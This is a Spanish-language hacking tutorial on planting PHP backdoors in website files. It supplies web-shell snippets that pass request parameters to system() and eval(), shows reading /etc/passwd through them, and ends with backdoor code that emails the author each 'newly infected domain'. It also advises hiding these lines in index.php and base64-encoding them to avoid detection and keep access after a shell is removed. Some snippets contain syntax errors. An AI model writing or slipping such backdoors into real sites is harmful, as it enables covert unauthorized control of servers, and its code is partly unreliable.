Backdooring Con PHP.
Introducción:
En este paper hablaré sobre técnicas para tener un archivo ya sea .PHP ó .HTML a nuestro control.
Un backdoor como su nombre lo indica es una puerta trasera, puede ser a cualquier cosa. Desde un archivo hasta un servidor completo.
Hay varias formas de hacerlo y iré explicando poco a poco.
No me hago responsable sobre el uso que le den a este paper. Solo lo hago por cuestiones educativas y éticas.
NOTA: No es un paper sobre PHP, solo explicaré los métodos para tener en tu control determinados archivos.
Recomiendo saber un poco sobre PHP para poder leer, Recomiendo bajarse el taller de PHP de StrikeGeek http://www.sendspace.com/file/jvkiib Para mayor entendimiento.

Contacto:
Para contactar me puedes hacerlo vía:
Twitter: @Okoltutos
Facebook: Okoltutos
Email: Okoltutos@gmail.com
Blog: Strikegeek.org & Okol.pl

Temario de funciones.

1-System()

2-Variable Global $_SERVER[]

- 2.1- $_SERVER['REMOTE_ADDR']
- 2.2-$_SERVER['PHP_SELF']
- 2.3-$_SERVER['SERVER_NAME']

3-mail()

4-eval()

System()

No dudo que ya conozcas está función ya que es la más conocida para estos temas.
Para poder usarla solo debemos declarar:

```
<?php
system('comando');
?>
```

¿Y si se nos ocurre usar $_GET o $_POST para poder ejecutar el comando que queramos?

```
<?php
$var = @system($_GET['ejec']);
?>
```

Podriamos entrar desde:
url.com/archivoinfectado.php?ejec=comando

un ejemplo así:

url.com/archivoinfectado.php?ejec=cat /etc/passwd

y nos mostraría el etc/passwd o podemos poner con cualquier comando, depende el servidor dependeran los comandos, es decir si tiene linux son comandos linux y si tiene windows pues son comandos windows.

Si no están 100% familiarizados con linux les dejo unos comandos que podrian servirles:

Mover un archivo: mv archivo /carpeta/

Renombrar un archivo: mv archivo archivorenombrado

Crear un archivo: touch archivo

Descargar archivos: wget url.com/lol.txt (Se descargará un archivo lol.txt)

Eliminar un archivo: rm archivo

Copiar un archivo: cp archivo archivocopiado

Variable global $_SERVER:

$_SERVER['REMOTE_ADDR'] – Muestra la ip de el usuario que está abriendo el script

Ejemplo:

```
<?php
echo 'tu IP es'.$_SERVER['REMOTE_ADDR'];
?>
```

Mostrará la IP de quien lo abra.

$_SERVER['PHP_SELF'] - Muestra la ruta en el que se está ejecutando el script.

Ejemplo:

```
<?php
echo 'Este archivo esta en'.$_SERVER['PHP_SELF'];
?>
```

Mostrará la ruta de el script, es decir si estamos en web.com/hola/lol.php te mostrara /hola/lol.php

$_SERVER['SERVER_NAME'] – Muestra el dominio en el que se está ejecutando el script.

Ejemplo

```
<?php
echo 'Estamos en el dominio '.$_SERVER['SERVER_NAME'];
?>
```

Te mostrará en la pantalla Estamos en el dominio http://web.com

Mail()

Como su nombre lo indica está función sirve para enviar un mail.

Modo de uso:

mail('Para', 'Asunto', 'Contenido')

NOTA: Esto se puede almacenar en variables pero como he dicho no estoy enseñando a programar PHP.

Entonces si yo pongo en un script:

```
<?php
mail('okoltutos@gmail.com', 'Hola', 'Hola mucho gusto soy'.$_SERVER['REMOTE_ADDR);
?>
```

al momento de que alguen entre me enviara un email con el asunto Hola y con el contenido “Hola mucho gusto soy y una IP”

Bueno ya lo que sigue es a su imaginación, lo que deseen hacer.

eval()

Bien, ahora les explicaré está función.
Eval es parecida a system con la diferencia en que system ejecuta comandos en el sistema y eval ejecuta código PHP.

Un claro ejemplo de uso.

```
<?php
$var = eval(“echo 'hola';”);
?>
```

Si lo ejecutamos veremos que nos mostrará: hola.

Al igual que system() la podemos usar con $_GET ó $_POST de la misma forma.

Ejemplo:

```
<?php
$var eval($_GET['ejec']);
?>
```

lo usamos de está forma:

url.com/archivoinfectado.php?ejec=echo 'hola';

y miren que claramente nos ejecutará hola.
Bueno si no están muy familiarizados con PHP está ultima función no les ayudará tanto (y si ponen el code de una shell).

Creando nuestros backdoors

Bueno, en está ultima sección del PAPER les daré un par de ideas de backdoors para que se les abra la mente.

Un backdoor que ejecute comandos en un sistema pero que nos avise por email cuando alguen haya visitado este script.

```
<?php
$var = system($_POST['ejec');
$domain = $_SERVER['SERVER_NAME'];
$ruta = $_SERVER['PHP_SELF'];
mail('okoltutos@gmail.com', 'Nuevo dominio infectado', $domain.$ruta);
?>
```

Son 4 lineas que podemos incluir en cualquier script, si ponemos estas 4 lineas dentro de una shell y despues encriptamos todo en base64... ¿Quíen se dará cuenta?

O también podemos incluir estas lineas digamos en el archivo index.php, asi si nos borran una shell seguimos teniendo acceso al servidor.

```
<?php
$var = eval($_POST['ejec');
$domain = $_SERVER['SERVER_NAME'];
$ruta = $_SERVER['PHP_SELF'];
mail('okoltutos@gmail.com', 'Nuevo dominio infectado', $domain.$ruta);
?>
```

Bueno hay muchas, muchas formas de darle provecho a estas funciones, Yo solo explique dos.
Usen la imaginación.

Saludos.
Okol.